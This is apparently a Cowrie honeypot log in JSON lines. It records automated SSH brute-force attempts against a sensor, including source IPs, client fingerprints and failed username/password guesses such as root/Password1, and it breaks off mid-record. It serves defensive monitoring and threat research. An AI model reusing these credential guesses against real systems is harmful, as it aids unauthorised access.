{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:08.737320Z","src_ip":"91.92.40.171","session":"0d151b24a8e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:09.142140Z","src_ip":"91.92.40.171","session":"0d151b24a8e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41348,"dst_ip":"159.203.135.109","dst_port":22,"session":"446b4ab1aeb8","protocol":"ssh","message":"New connection: 91.92.42.133:41348 (159.203.135.109:22) [session: 446b4ab1aeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:09.221876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:09.773673Z","src_ip":"91.92.42.133","session":"446b4ab1aeb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:09.775927Z","src_ip":"91.92.42.133","session":"446b4ab1aeb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:10.392934Z","src_ip":"91.92.40.171","session":"0d151b24a8e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:10.760029Z","src_ip":"91.92.42.133","session":"446b4ab1aeb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:11.869678Z","src_ip":"91.92.42.133","session":"446b4ab1aeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37454,"dst_ip":"159.203.135.109","dst_port":22,"session":"c36f0d152a46","protocol":"ssh","message":"New connection: 91.92.40.171:37454 (159.203.135.109:22) [session: c36f0d152a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:14.825970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:14.840333Z","src_ip":"91.92.40.171","session":"c36f0d152a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:14.938848Z","src_ip":"91.92.40.171","session":"c36f0d152a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:15.302124Z","src_ip":"91.92.40.171","session":"c36f0d152a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:16.397463Z","src_ip":"91.92.40.171","session":"c36f0d152a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57376,"dst_ip":"159.203.135.109","dst_port":22,"session":"63bda44a95e1","protocol":"ssh","message":"New connection: 91.92.42.133:57376 (159.203.135.109:22) [session: 63bda44a95e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:17.172938Z"}
{"eventid":"cowrie.session.closed","duration":36.5669310092926,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:17.208509Z","src_ip":"172.81.62.90","session":"fa3e43dd5bcb","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:17.528944Z","src_ip":"91.92.42.133","session":"63bda44a95e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:17.551501Z","src_ip":"91.92.42.133","session":"63bda44a95e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:19.918382Z","src_ip":"91.92.42.133","session":"63bda44a95e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:21.229821Z","src_ip":"91.92.42.133","session":"63bda44a95e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37498,"dst_ip":"159.203.135.109","dst_port":22,"session":"131e12d3e7d5","protocol":"ssh","message":"New connection: 91.92.40.171:37498 (159.203.135.109:22) [session: 131e12d3e7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:21.770454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:21.787915Z","src_ip":"91.92.40.171","session":"131e12d3e7d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:21.861791Z","src_ip":"91.92.40.171","session":"131e12d3e7d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:22.314605Z","src_ip":"91.92.40.171","session":"131e12d3e7d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:23.715200Z","src_ip":"91.92.40.171","session":"131e12d3e7d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47732,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec0a15e1070","protocol":"ssh","message":"New connection: 91.92.42.133:47732 (159.203.135.109:22) [session: 2ec0a15e1070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:25.076773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:25.275069Z","src_ip":"91.92.42.133","session":"2ec0a15e1070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:25.281131Z","src_ip":"91.92.42.133","session":"2ec0a15e1070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60890,"dst_ip":"159.203.135.109","dst_port":22,"session":"d898aa51b233","protocol":"ssh","message":"New connection: 91.92.40.171:60890 (159.203.135.109:22) [session: d898aa51b233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:26.509153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:26.597282Z","src_ip":"91.92.40.171","session":"d898aa51b233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:26.720858Z","src_ip":"91.92.40.171","session":"d898aa51b233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:26.753783Z","src_ip":"91.92.42.133","session":"2ec0a15e1070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:27.199661Z","src_ip":"91.92.40.171","session":"d898aa51b233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:28.142920Z","src_ip":"91.92.42.133","session":"2ec0a15e1070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:28.304466Z","src_ip":"91.92.40.171","session":"d898aa51b233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37642,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b2dfc5b955e","protocol":"ssh","message":"New connection: 103.82.132.16:37642 (159.203.135.109:22) [session: 1b2dfc5b955e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:30.166283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:30.174984Z","src_ip":"103.82.132.16","session":"1b2dfc5b955e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:30.421004Z","src_ip":"103.82.132.16","session":"1b2dfc5b955e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"131091","message":"login attempt [root/131091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:31.161385Z","src_ip":"103.82.132.16","session":"1b2dfc5b955e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60914,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc16093bab37","protocol":"ssh","message":"New connection: 91.92.40.171:60914 (159.203.135.109:22) [session: fc16093bab37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:32.289988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:32.401148Z","src_ip":"91.92.40.171","session":"fc16093bab37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 